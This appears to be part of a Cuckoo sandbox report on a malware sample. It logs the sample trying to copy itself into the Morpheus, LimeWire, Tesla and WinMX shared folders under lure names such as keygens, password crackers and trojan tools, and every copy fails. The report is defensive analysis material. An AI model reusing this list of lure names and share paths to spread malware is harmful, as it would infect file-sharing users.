18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Keylogger.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Website Hacker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\IP Nuker.exe	FAILURE	0x00000000
18:17:46,906	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\morpheus\my shared folder\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Password Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Keylogger.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Website Hacker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\IP Nuker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\limewire\shared\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Password Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,916	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Keylogger.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Website Hacker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\IP Nuker.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\tesla\files\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Windows 2003 Advanced Server KeyGen.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\UT 2003 KeyGen.exe	FAILURE	0x00000000
18:17:46,926	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Half-Life 2 Downloader.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Password Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\FTP Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Brutus FTP Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Hotmail Hacker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Hotmail Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Windows.Vista.32.bit.CRACK.by.RELOADED.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Norton Anti-Virus 2008 Enterprise Crack.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\DCOM Exploit.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\NetBIOS Hacker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\NetBIOS Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\L0pht 4.0 Windows Password Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\sdbot with NetBIOS Spread.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Sub7 2.3 Private.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Microsoft Visual C++ KeyGen.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Microsoft Visual Basic KeyGen.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Microsoft Visual Studio KeyGen.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\MSN Password Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\AOL Instant Messenger (AIM) Hacker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\ICQ Hacker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\AOL Password Cracker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Keylogger.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Website Hacker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\IP Nuker.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\Counter-Strike KeyGen.exe	FAILURE	0x00000000
18:17:46,936	288	CopyFileA	ExistingFileName => C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe NewFileName => C:\program files\winmx\shared\DivX 5.0 Pro KeyGen.exe	FAILURE	0x00000000
18:17:46,946	288	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => mscoree.dll	FAILURE	0xc0000135	1 time
18:17:46,946	288	ExitProcess	ExitCode => 0	SUCCESS	0x00000000

Volatility

Nothing to display.